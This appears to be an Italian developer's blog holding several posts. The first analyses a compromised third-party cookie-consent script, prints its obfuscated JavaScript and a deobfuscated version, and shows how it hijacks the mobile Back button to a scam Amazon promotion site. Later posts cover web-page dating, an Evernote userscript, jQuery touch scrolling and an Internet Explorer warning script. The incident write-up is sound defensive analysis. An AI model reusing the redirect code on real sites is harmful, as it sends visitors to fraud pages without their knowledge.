Lo strano caso delle promozioni truffa che infettano i siti web senza “bucarli”

Vi è mai capitato di navigare sul web da smartphone e all’improvviso ritrovarvi pagine pubblicitarie che si aprono da sole o addirittura appaiono nella cronologia senza averle mai visitate prima?

Vi avevo già parlato di come bloccare le pubblicità sui dispositivi Android, però questo fenomeno di “intrusione” nella lista di pagine visitate è piuttosto subdolo e a volte può capitare ugualmente. La cosa dà particolarmente fastidio quando gli utenti del vostro sito iniziano a lamentarsi del fenomeno.

Questo è proprio ciò che è successo ad un cliente: visitando il suo sito web da smartphone, la pagina si apriva correttamente. Navigando non si notava nulla, fino al momento di premere il tasto Indietro del browser. A quel punto, l’ignaro utente era inesorabilmente dirottato verso una pagina pubblicitaria camuffata da promozione Amazon.

Screenshot che rappresenta un presunto "Concorso Promozionale Amazon"
La finta promozione Amazon comparsa alla pressione del tasto Indietro

La richiesta che mi veniva posta era individuare la causa di questa “infezione” e rimuovere le pubblicità. Sembrava trattarsi di un classico caso di bonifica di siti web compromessi, come ne affronto abitualmente.

Tuttavia, a seguito di una veloce verifica, è risultato chiaro che il sito non era stato “bucato”. Nonostante ci siano malintenzionati che scansionano frequentemente la rete alla ricerca di siti con WordPress, Drupal oppure Joomla non aggiornati (o con plug-in vulnerabili) per violarli e infettarli, qui non era accaduto nulla del genere.

Lo sviluppo web con il tempo sta prendendo una direzione sempre più complessa e di conseguenza aumentano i componenti e le librerie che vengono usate nel lavoro. Chi ha sviluppato la grafica e le funzionalità del sito ha reputato opportuno usare alcune librerie Javascript, la maggior parte delle quali “interne”, quindi salvate direttamente nello spazio web associato al dominio in esame.

Nel verificare i file richiamati però spiccava invece un componente esterno, apparentemente innocuo e legato alla gestione della richiesta di consenso per l’uso dei cookie:

<!-- Begin Cookie Consent plugin by Silktide - http://silktide.com/cookieconsent -->
<!-- cookie conset latest version -->
<script type="text/javascript" src="https://s3-eu-west-1.amazonaws.com/assets.cookieconsent.silktide.com/current/plugin.min.js"></script>

Andando a vedere il contenuto del file, non compare nulla di buono. Il codice è chiaramente offuscato, non semplicemente compresso, cosa che dovrebbe far nascere dei seri sospetti sulla sua legittimità:

var _0xc368=["\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x74\x65\x73\x74","","\x23","\x70\x75\x73\x68\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x6F\x2E\x32\x63\x65\x6E\x74\x72\x61\x6C\x2E\x69\x63\x75\x2F\x3F\x75\x74\x6D\x5F\x6D\x65\x64\x69\x75\x6D\x3D\x35\x62\x66\x35\x30\x35\x65\x61\x32\x62\x65\x63\x30\x66\x61\x32\x30\x34\x33\x38\x31\x31\x65\x30\x30\x39\x62\x66\x39\x65\x35\x66\x30\x35\x32\x31\x32\x32\x39\x32\x26\x75\x74\x6D\x5F\x63\x61\x6D\x70\x61\x69\x67\x6E\x3D\x32\x63\x65\x6E\x74\x72\x61\x6C\x26\x31\x3D","\x72\x65\x70\x6C\x61\x63\x65"];if(/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i[_0xc368[1]](navigator[_0xc368[0]])){!function(){var _0xa9b1x1;try{for(_0xa9b1x1= 0;10> _0xa9b1x1;++_0xa9b1x1){history[_0xc368[4]]({},_0xc368[2],_0xc368[3])};onpopstate= function(_0xa9b1x1){_0xa9b1x1[_0xc368[5]]&& location[_0xc368[7]](_0xc368[6])}}catch(o){}}()}

Il trucco di mascherare i comandi utilizzando le entità esadecimali è abbastanza diffuso, ma è anche semplice da analizzare. Il metodo “pigro” è quello di usare Online JavaScript Beautifier e ottenere un codice decisamente più leggibile:

if (/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i ['test'](navigator['userAgent'])) {
    ! function() {
        var _0xa9b1x1;
        try {
            for (_0xa9b1x1 = 0; 10 > _0xa9b1x1; ++_0xa9b1x1) {
                history['pushState']({}, '', '#')
            };
            onpopstate = function(_0xa9b1x1) {
                _0xa9b1x1['state'] && location['replace']('http://to.2central.icu/?utm_medium=5bf505ea2bec0fa2043811e009bf9e5f05212292&utm_campaign=2central&1=')
            }
        } catch (o) {}
    }()
}

Ahia! Questa nefandezza si può riassumere in parole molto semplici:

  • se l’utente sembra navigare da un dispositivo mobile, allora aggiungi 10 voci vuote alla cronologia delle pagine precedenti
  • quando viene premuto il tasto Indietro, rimpiazza la pagina corrente con un URL che rimanda alla pagina truffaldina

In questo caso la soluzione da prospettare al cliente è relativamente semplice: basta eliminare il riferimento allo script incriminato e sostituirlo con un altro codice che chieda il consenso per i cookie.

Quando si utilizza uno script ospitato su server di terze parti, dovete tenere a mente che in futuro il contenuto potrebbe cambiare. Per esempio, quel dominio potrebbe essere violato o semplicemente scadere e venire registrato da qualcun altro che ci inserirà codice malevolo. È quindi consigliabile linkare da fonti esterne solo script veramente fidati, per minimizzare i rischi e le brutte figure.

Avete un sito web che è stato violato, invia spam o manifesta altri comportamenti strani? Cliccate qui per contattarmi e parliamone.

Determinare la data in cui è stata scritta una pagina web

Qualche tempo fa mi è stato proposto di scrivere un articolo per la rivista ICT Security Magazine. Ho trattato una tematica che torna utile in molti casi di indagini da fonti aperte o di consulenze in ambito di digital forensics:

Durante le attività di OSINT (Open Source Intelligence) si può riscontrare l’esigenza di attribuire una datazione più precisa possibile ad una pagina web. Talvolta può essere necessario riuscire ad individuare un giorno o addirittura un orario ascrivibile alla creazione della pagina, ad esempio per rilevare casi di contraffazione della stessa.

Per l’occasione ho anche sviluppato e rilasciato un software open source per automatizzare il processo di datazione di una pagina, che ho chiamato Carbon14. Potete leggere l’articolo completo Datazione delle pagine web tramite Carbon14 direttamente sul sito della rivista.

Se invece avete bisogno di consulenza professionale, eventualmente nella forma di consulenza tecnica utilizzabile anche in giudizio, contattatemi tramite l’apposita pagina.

 

Modificare l’HTML delle note in Evernote Web

Evernote è un ottimo servizio dove poter memorizzare note, appunti, scansioni, file allegati e ritagli di pagine web. È qualcosa di molto più versatile di un semplice insieme di note testuali, avendo funzioni di ricerca e organizzazione ottime. Ne avevo già parlato anche in un articolo dedicato alle applicazioni per studenti:

Non è solo un sito web dove poter scrivere note, ma include anche il software client per Windows e Mac (su Linux io uso l’interfaccia web e mi trovo bene), applicazioni per cellulari e tablet ed estensioni per il browser. Le note possono essere divise in taccuini — per esempio uno per la documentazione e uno per ogni corso che seguite — e etichettate con dei tag.

Insomma vi consiglio decisamente di provarlo! Potete creare un account gratutito e attivare un mese di funzioni aggiuntive Premium gratis cliccando qui.

Proprio la funzione di ritaglio di parti di pagine web, seppur estremamente versatile, a volte può creare dei piccoli problemi. Infatti l’editor visuale di Evernote Web consente delle modifiche basilari. A volte alcune cose sono piuttosto complicate, come ad esempio:

  • rimuovere lo sfondo di un elemento
  • cancellare un pezzo di un ritaglio senza scombinare il resto
  • semplificare la struttura della pagina ritagliata

Naturalmente questi problemi non si presentano (o in maniera estremamente ridotta) con le note scritte di proprio pugno. Tuttavia, per i ritagli da pagine web sarebbe molto comodo poter modificare direttamente il codice HTML in modo da togliere o aggiungere elementi.

Evernote purtroppo non fornisce questa possibilità.

Questo è il motivo per cui mi sono imbattuto nel blog di Seb Maynard, uno sviluppatore che ha creato un bookmarklet per Evernote Web che consente di modificare l’HTML. Il bookmarklet funziona bene, però richiede di essere attivato ogni volta che si vuole fare una modifica e se si usa Evernote Web in modalità app (per esempio con Chromium) risulta molto scomodo.

Grazie alla gentilezza di Seb, che ha rilasciato il proprio codice sotto una licenza libera, ho creato uno user-script che permette di modificare il codice HTML con un bottone sulla barra degli strumenti. Insomma, un piccolo esempio di come il software libero sia di fondamentale aiuto per consentire il progresso e l’innovazione tecnologica. 🙂

La figura mostra lo script in azione proprio sulla nota che ho ritagliato con una versione precedente dell’articolo dedicato al bookmarklet.

Nuovo pulsante
Nuovo pulsante “HTML” inserito nella barra degli strumenti

Pulsante in azione nella nuova versione dell'interfaccia di Evernote Web
Pulsante in azione nella nuova versione dell’interfaccia di Evernote Web

Ho aggiunto alcune funzioni rispetto alla versione “base” di Seb. In particolare:

  • Il bottone sulla barra degli strumenti, per un’attivazione immediata
  • Ace Code Editor per facilitare le modifiche, con auto-completamento e evidenziazione della sintassi
  • Rimozione degli attributi non-standard di TinyMCE
  • Semplice formattazione automatica del codice HTML, per renderlo più leggibile

Gli ultimi due punti in particolare semplificano molto il lavoro di modifica. Come sempre, prima di installare lo script dovete procurarvi l’estensione corretta per il vostro browser:

Potete quindi scaricare lo script che ho pubblicato su GreasyFork, cliccando questo bottone:

Evernote Web HTML editor

Per attivarlo, non vi resta altro che premere il pulsante HTML sulla barra di modifica di una nota. Vi accoglierà un editor molto comodo e di bell’aspetto. 😀

Ace Code Editor in azione su una nota
Ace Code Editor in azione su una nota

Usare Jquery per gestire tabelle e altri elementi con overflow su dispositivi mobili

Qualche tempo fa mi stavo occupando di rendere un sito web mobile-friendly e mi sono trovato di fronte alla necessità di gestire delle tabelle molto larghe. Purtroppo non era possibile pretendere che le tabelle fossero tutte quante di larghezza ridotta o con poche colonne, perciò era necessario usare l’overflow orizzontale con il CSS.

Oltre alle tabelle, ci sarebbero state anche delle formule visualizzate con Mathjax che — se molto lunghe — avrebbero “sfondato” la pagina. Ho avuto modo di accorgermi ben presto che la soluzione è leggermente meno semplice di quanto si possa pensare.

Nonostante le ultime versioni di Android e di iOS per iPhone/iPad supportino lo scorrimento di parti di pagina affette da overflow, le versioni vecchie di Android non permettono di scorrere correttamente con il dito, mentre quelle di iOS richiedono due dita e ciò è poco intuitivo.

Fortunatamente, ho trovato una soluzione interessante in Javascript sul blog di Chris Barr. Leggendo i commenti, ho anche scoperto con piacere che un lettore (Jeff) ne aveva fornito una versione Jquery, mentre un altro (Cormac) suggeriva l’utilizzo del metodo .live() per consentirne un corretto utilizzo anche su elementi caricati nel DOM in un momento successivo.

Ho deciso di unire i due approcci ed è venuto fuori il seguente risultato, che potete includere all’interno della pagina:


function isTouchDevice(){
	try {
		document.createEvent("TouchEvent");
			return true;
	}
	catch(e) {
		return false;
	}
}

function touchScroll(selector) {
    if (isTouchDevice()) {
        var scrollStartPosY=0;
        var scrollStartPosX=0;
        $("body").delegate(selector, 'touchstart', function(e) {
            scrollStartPosY=this.scrollTop+e.originalEvent.touches[0].pageY;
            scrollStartPosX=this.scrollLeft+e.originalEvent.touches[0].pageX;
        });
        $("body").delegate(selector, 'touchmove', function(e) {
            if ((this.scrollTop < this.scrollHeight-this.offsetHeight &&
                this.scrollTop+e.originalEvent.touches[0].pageY < scrollStartPosY-5) ||                  (this.scrollTop != 0 && this.scrollTop+e.originalEvent.touches[0].pageY > scrollStartPosY+5))
                    e.preventDefault();
            if ((this.scrollLeft < this.scrollWidth-this.offsetWidth &&
                this.scrollLeft+e.originalEvent.touches[0].pageX < scrollStartPosX-5) ||                  (this.scrollLeft != 0 && this.scrollLeft+e.originalEvent.touches[0].pageX > scrollStartPosX+5))
                    e.preventDefault();
            this.scrollTop=scrollStartPosY-e.originalEvent.touches[0].pageY;
            this.scrollLeft=scrollStartPosX-e.originalEvent.touches[0].pageX;
        });
    }
}

La cosa interessante della soluzione proposta da Jeff (e che ho riutilizzato) è quella di permettere il corretto funzionamento dei link contenuti nell’elemento che scorre.

Come potete intuire dal codice, la prima funzione controlla se il dispositivo è dotato di touchscreen oppure no, mentre la seconda accetta un selettore Jquery e associa un evento che viene azionato quando l’utente scorre con il dito sopra gli elementi corrispondenti.

Per applicare lo scorrimento alle tabelle, è necessario racchiuderle con un contenitore (in questo caso un <div>) in modo da applicare l’overflow, che con le tabelle non funziona in modo convenzionale.

La funzione deve essere richiamata dentro a $(document).ready(), e può essere utilizzata così, tenendo presente il trucco per le tabelle:


$(document).ready(function() {
    touchScroll(".MathJax_Display");
    $("table").wrap('<div class="table-scroll"></div>');
    $(".table-scroll").css('overflow', 'auto');
    touchScroll(".table-scroll");
});

La prima chiamata a touchScroll() si occupa delle formule prodotte da MathJax, i cui elementi compaiono nel DOM in un momento successivo ma sono catturati ugualmente grazie all’uso di .delegate(). Le seguenti righe si occupano invece di racchiudere le tabelle con un contenitore di classe table-scroll e applicano la funzionalità di scorrimento usando il selettore adeguato.

Questo è quanto! Come avete visto, una volta predisposta la funzione di Chris Barr modificata da Jeff, Cormac e me è sufficiente usare una chiamata per applicare l’overflow agli elementi desiderati. Nel caso delle tabelle, è necessario inserire un contenitore addizionale, ma questo si può fare con Jquery, in modo da evitare di introdurre modifiche al markup della pagina.

Dissuadere gli utenti di Internet Explorer tramite uno script

Per lungo tempo Internet Explorer è stato in modo assoluto ed incontrastato il browser più utilizzato al mondo. Questo è dipeso principalmente da strategie di preinstallazione aggressive (e blocco della disinstallazione), ma forse non sarebbe un gran problema se Internet Explorer funzionasse decentemente.

Vi spiego che intendo per decentemente: un browser dovrebbe supportare, al momento del rilascio, tutte le tecnologie web già divenute standard de iure e anche magari qualcuna di quelle standard de facto (ma questo è opzionale). Ci sarebbero poi da fare anche molti discorsi sulla sicurezza ma tralasciamo. Internet Explorer è noto per non supportare granché delle migliori tecnologie CSS. Con Javascript sembra andare un po’ meglio solo perché gli autori di Jquery e librerie simili fanno davvero i miracoli per far funzionare tutto, in realtà non è tutto oro quello che luccica. Addirittura bisogna inserire un meta tag nelle pagine per far comportare Internet Explorer (a partire dalla versione otto) in modo un po’ più normale, altrimenti fa apposta a comportarsi male.

Questo cosa implica? Si arriva all’ironica regola che ho inventato e deciso di chiamare del 3+3:

Se ci vogliono 3 giorni per creare e far funzionare qualcosa in un browser standard, ci vogliono 3 mesi per far funzionare la stessa cosa con Internet Explorer.

Sembra una battutina, però è vero, e i problemi sono ancora peggiori.

La situazione attuale

Prima vi parlavo delle date di rilascio e dovremmo fare un altro piccolo approfondimento su questo. Di seguito riporto le date di rilascio ufficiali per le varie versioni di IE:

  • versione 6 – 2001
  • versione 7 – 2006
  • versione 8 – 2009
  • versione 9 – 2011

Secondo Microsoft il 10% delle persone usa Internet Explorer nella versione 6, che è uscita 10 anni fa. Anche se al tempo fosse stato il browser migliore della categoria, ora è comunque un suicidio navigare con quella roba. Figuratevi sviluppare siti che funzionino lì. Lo stato delle cose è grave: si stima che il 40% delle persone usi Windows XP che ha come ultima versione disponibile la 8, vecchia di 2 anni (ma in realtà anche di più).

È la stessa azienda di Redmond che incoraggia le persone ad aggiornare subito il browser, il problema è che lo fa invitando a usare Internet Explorer 8 oppure 9. Se vi state chiedendo che male ci sia, leggete l’articolo Internet Explorer 9 e il supporto ai web standard per rendervi conto che seppur uscito nel 2011 è parecchio indietro rispetto a qualsiasi altro browser che rispetta veramente gli standard (per citarne alcuni Firefox, Safari, Chrome, Opera…).

Tra uno o due anni saremo punto e a capo: molti utenti che usano Internet Explorer e rimangono indietro, con gli sviluppatori web che si strappano i capelli cercando di fare siti web funzionanti.

Lo script dissuasore

Per fortuna, se gestite dei siti web e come me volete evitare di diventare pazzi, dovendo avere anche a disposizione una macchina Windows per fare test esotici e sperare che le cose funzionino, potete offrire ai vostri utenti un’alternativa migliore.

Basandomi sul vecchio script di Explorer Destroyer, nella versione modificata da Xavier, ho ritoccato e sistemato un popup che avvisa gli utenti di Internet Explorer che è consigliabile passare a Firefox, fornendo utili motivazioni, e l’ho racchiuso in uno script PHP di facile utilizzo per chi realizza siti web. Questo non impedisce ai navigatori con IE di vedere il sito (basta cliccare un link e l’avviso sparisce).

Perché Firefox? In realtà si poteva decidere di consigliare alle persone di usare un browser che supporti gli standard (che in parole meno gentili vuol dire “qualsiasi altro browser”), però secondo me è bene consigliare Firefox per almeno 3 motivi:

  • è ragionevolmente diffuso e multipiattaforma, così l’utente può riconoscerlo e usarlo altrove
  • è software libero
  • dando un’indicazione generica (“installa qualcos’altro…”) senza fornire alternative è poco efficace perché molto probabilmente chi usa Explorer non ne conosce e non ha voglia di cercarne una

Il procedimento di installazione e configurazione sul proprio sito richiede 5 minuti, e una volta finito chi naviga con IE riceverà una volta al giorno (oppure ogni tot di giorni a vostra scelta) questo messaggio:

Messaggio visualizzato da Internet Explorer 6

La scelta che ho voluto fare è quella di iniettare il codice nella pagina solo se ad un primo controllo fatto via PHP l’utente usa Internet Explorer. Questo vuol dire che l’HTML non viene “sporcato” se chi naviga usa altri browser, e quindi le pagine sono anche lievemente più veloci da scaricare e visualizzare.

Come installarlo

Come detto prima, lo script richiede:

  • la presenza di PHP
  • l’accesso FTP all’hosting
  • il poter individuare (o generare con PHP) una stringa contenente il giusto tag <body> da passare alla funzione

Per prima cosa avrete bisogno di scaricare l’archivio contenente lo script e un riassunto di queste istruzioni. Potete fare il download da qui e poi dovete caricare la cartella IE nella radice del vostro hosting.

A questo punto la serie di cose da fare è abbastanza semplice.

Se volete, cambiate il valore var daysToSleep = 0; nel codice per impostare quanti giorni di “riposo” deve attraversare l’avviso prima di ricomparire nuovamente.

  • 0 significa che verrà mostrato una volta al giorno
  • -1 significa che verrà mostrato su ogni singola pagina, sempre

Quindi bisogna modificare il file “header” o equivalente del proprio CMS (di solito va fatto nel tema che si utilizza), e inserire al posto del tag <body> il codice seguente, opportunamente adattato:

<?php
// inserisce il semplice tag body per Firefox, il check per Explorer
require(getenv("DOCUMENT_ROOT").'/IE/IEcode.php');
printbody( <ARG> );
>

Al posto di <ARG> bisogna inserire la stringa del body (un esempio potrebbe essere <body class='prova'>) secondo le convenzioni del linguaggio PHP. Se si vuole inserire un semplice tag senza attributi si può anche lasciare la funzione senza argomento (non una stringa vuota “”).

Salvate le modifiche è tutto, potete provare con qualsiasi browser cambiando il vostro user-agent per vedere se funziona (se non usate IE vedrete male il banner, questo ve lo spiego nel paragrafo seguente). Chi usa Windows può fare la prova direttamente da Internet Explorer senza che sia necessario modificare la configurazione del browser.

Personalizzare il codice e il problema della PNG

Con un minimo di conoscenza di HTML troverete facilmente dove mettere le mani in fondo al file PHP per cambiare il testo della casella gialla. Fate attenzione però se volete cambiare il banner di Firefox con uno degli altri forniti da Mozilla. Vi ricordo infatti che le versioni più vecchie di Internet Explorer non hanno supporto alle PNG trasparenti, e ci sono innumerevoli discussioni e hack riguardo alla risoluzione di questo problema. Personalmente, dato che il banner è una sola immagine, ho optato per quella del filter.

Il codice del banner di Firefox, rispetto alla versione originaria di Mozilla, è il seguente:


<a href='http://www.mozilla.org/firefox?WT.mc_id=aff_en11&WT.mc_ev=click'>
<img src='http://www.mozilla.org/contribute/buttons/120x240bubble_b.png' alt='Firefox Download Button' border='0'
style="filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled='true', src='http://www.mozilla.org/contribute/buttons/120x240bubble_b.png'); padding-top: 240px;" />
</a>

Se volete sostituire il pulsante, dovete cambiare solo l’url dell’immagine (che è presente 2 volte come potete notare) e il padding-top dev’essere uguale all’altezza della stessa, perché così Explorer nasconde l’immagine e la ricarica sopra con AlphaImageLoader. Per questo qualsiasi browser normale vi farebbe vedere l’immagine scostata verticalmente. Be’, alla fine l’importante è che funzioni su IE!

Conclusione

La strada verso un web fatto di standard aperti, affermati e condivisi è estremamente importante. Il browser è il software che usiamo tutti i giorni, perciò risulta fondamentale che questo visualizzi le pagine web in un modo corretto e moderno. Nel nostro piccolo possiamo fare qualcosa per far conoscere alle persone un software libero che funziona molto meglio di Internet Explorer e quindi da un leggero contributo a evitare i mal di testa.

Se usate lo script sul vostro sito mi farebbe piacere ricevere un commento per saperlo e se lo ritenere interessante diffondete la notizia.